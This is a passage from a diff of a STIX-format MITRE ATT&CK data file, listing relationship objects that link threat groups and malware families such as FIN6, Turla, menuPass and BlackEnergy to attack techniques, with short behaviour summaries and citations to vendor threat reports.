42 Gorgon Group Aug 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a script to iterate through a list of compromised PoS systems, copy data to a log file, and remove the original data files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--ac7d5b88-7929-4f64-abcd-8219caafac24", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.592Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "If installing itself as a service fails, [Elise](https://attack.mitre.org/software/S0081) instead writes itself as a file named svchost.exe saved in %APPDATA%\\Microsoft\\Network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0fd5d3bc-d736-43c0-b9ec-f1dcd95411a7", + "source_ref": "malware--7551188b-8f91-4d34-8350-0d0c57b2b913", + "modified": "2019-04-17T22:12:24.760Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Lotus Blossom Jun 2015", + "description": "Falcone, R., et al.. (2015, June 16). Operation Lotus Blossom. Retrieved February 15, 2016.", + "url": "https://www.paloaltonetworks.com/resources/research/unit42-operation-lotus-blossom.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[4H RAT](https://attack.mitre.org/software/S0065) sends an OS version identifier in its beacons.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--27375058-3002-4fc2-a964-a1e336a10a2a", + "source_ref": "malware--8e461ca3-0996-4e6e-a0df-e2a5bbc51ebc", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bcdf2779-c5a2-40b3-88b6-0857711c1cfe", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.471Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can obtain information about the logged on user both locally and for Remote Desktop sessions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bd8aaa70-710d-45a7-bb43-6b2e37f7c797", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.046Z", + "id": "relationship--bd2a23f7-88cd-47d2-b30e-9356d0204a8e", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.631Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) tools attempt to spoof anti-virus processes as a means of self-defense.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.070Z", + "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "source_name": "Kaspersky Poseidon Group", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses a custom UDP protocol to communicate.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--042d7190-3210-4303-94b6-b56d5a2b572a", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may collect network configuration data by running ipconfig /all on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0bd2ee1a-6202-4ff5-9a42-4869a276a92c", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used malicious macros embedded inside Office documents to execute files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ffee57f7-edea-499d-8912-88cd3204648a", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.513Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", + "description": "[KOMPROGO](https://attack.mitre.org/software/S0156) is capable of running WMI queries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e8e4b87c-3d30-4627-8060-5b5116d057fc", + "source_ref": "malware--7dbb67c7-270a-40ad-836e-c45f8948aa5a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "source_name": "FireEye APT32 May 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has deployed backup web shells and obtained OWA account credentials during intrusions that it subsequently used to attempt to regain access when evicted from a victim network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--59a6700b-3ae5-4039-a07c-cbbf6eb7a78e", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:54.937Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Sowbug](https://attack.mitre.org/groups/G0054) identified and extracted all Word documents on a server by using a command containing * .doc and *.docx. The actors also searched for documents based on a specific date range and attempted to identify all installed software on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0efa0a7a-545d-49e2-b0c4-0e251226404a", + "source_ref": "intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e", + "modified": "2019-03-25T16:57:02.797Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Sowbug Nov 2017", + "description": "Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.", + "url": "https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used net use to conduct connectivity checks to machines.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--12ea66f1-566a-404f-a948-f76b9047710e", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.511Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over a raw socket.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5e53b45b-ca14-4e8b-8c76-0cf9cb572a92", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044", + "description": "[H1N1](https://attack.mitre.org/software/S0132) kills and disables services for Windows Firewall, Windows Security Center, and Windows Defender.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1082a68e-549b-47d5-9eb3-e719f01ce42b", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.957Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "A [Turla](https://attack.mitre.org/groups/G0010) Javascript backdoor added a local_update_check value under the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run to establish persistence. Additionally, a [Turla](https://attack.mitre.org/groups/G0010) custom executable containing Metasploit shellcode is saved to the Startup folder to gain persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f2450a7-d2d2-4063-9dd5-cac396a3215c", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.850Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + }, + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Dipsind](https://attack.mitre.org/software/S0200) uses HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--84e09e1a-b670-427e-8f35-1c472ac7a988", + "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c", + "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) 2 contains a \"Destroy\" plug-in that destroys data stored on victim hard drives by overwriting file contents.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d5166d3e-246b-473c-9ff0-c5cc97dd91de", + "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", + "modified": "2019-06-24T17:08:51.628Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K. and Garnaeva, M.. (2015, February 17). BE2 extraordinary plugins, Siemens targeting, dev fails. Retrieved March 24, 2016.", + "source_name": "Securelist BlackEnergy Feb 2015", + "url": "https://securelist.com/be2-extraordinary-plugins-siemens-targeting-dev-fails/68838/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has attempted to get victims to open malicious files such as Windows Shortcuts (.lnk) and/or Microsoft Office documents, sent via email as part of spearphishing campaigns.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--350e9dad-4dd3-450f-b649-60340710505a", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.538Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a global service provider's IP as a proxy for C2 traffic from a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3a2d591a-f918-44b3-9e75-7520906b9aa3", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.548Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) executes commands remotely on the infected host.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b533e55c-77c7-48f8-baa7-c8724f90e483", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.113Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) is capable of performing audio captures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b93d69f2-32a2-43a8-9b45-693d82a51c6b", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[BS2005](https://attack.mitre.org/software/S0014) uses Base64 encoding for communication in the message body of an HTTP request.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a805a8d5-632c-48df-909d-c3d745652475", + "source_ref": "malware--67fc172a-36fa-4a35-88eb-4ba730ed52a6", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "source_name": "Villeneuve et al 2014", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Remote Desktop Protocol for lateral movement. The group has also used tunneling tools to tunnel RDP into the environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--27ead6bc-2bba-49d3-bcfe-667c7654a6fc", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.022Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "source_name": "Unit 42 Playbook Dec 2017", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Webinar Dec 2017", + "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.", + "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) obtains a list of running processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--eb1c808f-5806-4169-bd41-6ea7c7f17ffb", + "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.", + "source_name": "ESET InvisiMole June 2018", + "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "can collect the victim user name.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--6eb55cc5-1c90-44ce-ab80-0c938521f1cf", + "source_ref": "malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[JPIN](https://attack.mitre.org/software/S0201) can download files and upgrade itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--74c1fa45-5ac3-47a0-a442-2cc5e89f7b4c", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "source_name": "Microsoft PLATINUM April 2016", + "url": 